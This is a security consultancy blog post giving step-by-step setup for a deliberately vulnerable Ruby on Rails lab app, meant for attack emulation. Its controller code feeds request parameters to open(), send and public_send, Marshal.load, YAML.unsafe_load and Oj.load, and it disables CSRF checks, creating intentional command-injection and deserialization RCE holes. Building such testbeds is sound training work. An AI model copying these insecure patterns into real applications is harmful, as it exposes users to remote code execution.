These steps should work with just about any version of Ruby on Rails. I tested it myself with Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3. If you are using version 4.0 or later of the psych gem, which was the default for me under Ruby 3.1.1p18/Rails 7.0.2.3 but not Ruby 2.7.5-p203/Rails 5.2.5, you'll need to change one line of code in app/controllers/articles_controller.rb as psych 4.0 and later alias the load method to safe_load.

Follow the steps in the Ruby on Rails getting started guide up to and including 3.1. The remaining steps below replace everything from 3.2 onward.

Perform the following steps:

1. cd into a convenient working directory, then run the following commands:

rails new vulnerable_rails_app
cd vulnerable_rails_app

2. Replace the content of config/routes.rb with the following:

Rails.application.routes.draw do
  root "articles#index"  
  post "/", to: "articles#index"
end

3. Run the following commands:

bin/rails generate controller Articles index --skip-routes
bin/rails generate model Article param1:string param2:text
bin/rails db:migrate RAILS_ENV=development

4.Replace the content of app/controllers/articles_controller.rb with the following:

    class ArticlesController < ApplicationController
      skip_before_action :verify_authenticity_token
    
      def index
        @result_article = Article.new(param1: "param1", param2: "")
        @send_article = Article.new(param1: "send", param2: "")
        begin
            # OS command injection via insecure use of "open"
            if params[:url]
                @result_article.param1 = "params[:url]"
                @result_article.param2 = open(params[:url])
            end
            
            # Dangerous use of "Send" - standard variation
            if params[:send_method_name]
                if params[:send_argument]
                    @result_article.param1 = params[:send_method_name] + ", " + params[:send_argument]
                    begin
                        @send_article.send(params[:send_method_name], params[:send_argument])
                    rescue Exception => e
                        @result_article.param2 = e.message
                    end
                end
            end
            
            # Dangerous use of "Send" - splat variation
            if params[:send_value]
                @result_article.param1 = params[:send_value]
                begin
                    @send_article.send(*params[:send_value])
                rescue Exception => e
                    @result_article.param2 = e.message
                end
            end
    
            # Dangerous use of "Public Send" - standard variation
            if params[:public_send_method_name]
                if params[:public_send_argument]
                    @result_article.param1 = params[:public_send_method_name] + ", " + params[:public_send_argument]
                    begin
                        @send_article.public_send(params[:public_send_method_name], params[:public_send_argument])
                    rescue Exception => e
                        @result_article.param2 = e.message
                    end
                end
            end
            
            # Dangerous use of "Public Send" - splat variation
            if params[:public_send_value]
                @result_article.param1 = params[:public_send_value]
                begin
                    @send_article.public_send(*params[:public_send_value])
                rescue Exception => e
                    @result_article.param2 = e.message
                end
            end
            
            # Base64-encoded binary deserialization RCE vulnerability
            if params[:base64binary]
                @result_article.param1 = params[:base64binary]
                @result_article.param2 = Marshal.load(Base64.decode64(params[:base64binary]))
            end
            
            # YAML deserialization RCE vulnerability
            if params[:yaml]
                # if the psych gem is < 4.0, use this line:
                #@result_article.param2 = YAML.load(params[:yaml])
                # if the psych gem is 4.0 or later, use this line instead:
                @result_article.param2 = YAML.unsafe_load(params[:yaml])
            end
            
            # OJ-based JSON deserialization RCE vulnerability
            if params[:oj]
                @result_article.param1 = "params[:oj]"
                
                if params[:oj_mode]
                    @oj_options = Oj.default_options
                    if params[:oj_mode] == "compat"
                        @oj_options = { :mode => :compat }
                    end
                    if params[:oj_mode] == "custom"
                        @oj_options = { :mode => :custom }
                    end
                    if params[:oj_mode] == "json"
                        @oj_options = { :mode => :json }
                    end
                    if params[:oj_mode] == "null"
                        @oj_options = { :mode => :null }
                    end
                    if params[:oj_mode] == "object"
                        @oj_options = { :mode => :object }
                    end
                    if params[:oj_mode] == "rails"
                        @oj_options = { :mode => :rails }
                    end
                    if params[:oj_mode] == "strict"
                        @oj_options = { :mode => :strict }
                    end
                    if params[:oj_mode] == "wab"
                        @oj_options = { :mode => :wab }
                    end
                    @result_article.param2 = Oj.load(params[:oj], options = @oj_options)
                else
                    @result_article.param2 = Oj.load(params[:oj])
                end
                
            end
            
        #rescue Exception => e2
        #    @result_article = Article.new(param1: e2.message, param2: "")
        end
    
      end
    end

    5. If you have a version of the psych gem older than 4.0.0 installed, comment out the line that reads @result_article.param2 = YAML.unsafe_load(params[:yaml]) and uncomment the line that reads @result_article.param2 = YAML.load(params[:yaml])

    6. Replace the contents of app/views/articles/index.html.erb with the following:

    <h1>Vulnerable Ruby on Rails App</h1>
    <p>@result_article = <%= @result_article %></p>
    <p>@result_article.param1 = <%= @result_article.param1 %></p>
    <p>@result_article.param2 = <%= @result_article.param2 %></p>

    7. Add these lines to the Gemfile:

    gem "oj", '3.13.1'
    gem "open-uri"

    8. Run the following command:

    bundle install

    9. Run the following command to start a test instance of the application:

    bin/rails server

    10. ...or, to listen on all interfaces:

    bin/rails server -b 0.0.0.0

    Hear This All Live!

    Join us for our next Tool Talk webcast where I breakdown my new vulnerable application, why it would be a helpful tool for practitioners, and how to use it for attack emulations. REGISTER HERE

    Find Out First

    Be first to learn about latest tools, advisories, and findings.


    Ben Lincoln Headshot Managing Senior Security Consultant Bishop Fox

    About the author, Ben Lincoln

    Managing Senior Consultant II, Bishop Fox

    Ben Lincoln is a Managing Senior Consultant II at Bishop Fox and focuses on application security. He has extensive experience in network penetration testing, red team activities, white-/black-box web/native application penetration testing, and exploit development. Prior to joining Bishop Fox, Ben was a security consultant with NCC Group, a global information assurance consulting organization. He also previously worked at a major retail corporation as a senior security engineer and a senior systems engineer. Ben delivered presentations at major security conferences, including "A Black Path Toward the Sun" at black hat USA 2016. Ben is OSCP-certified and has released several open-source exploit tools.

    More by Ben

    This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.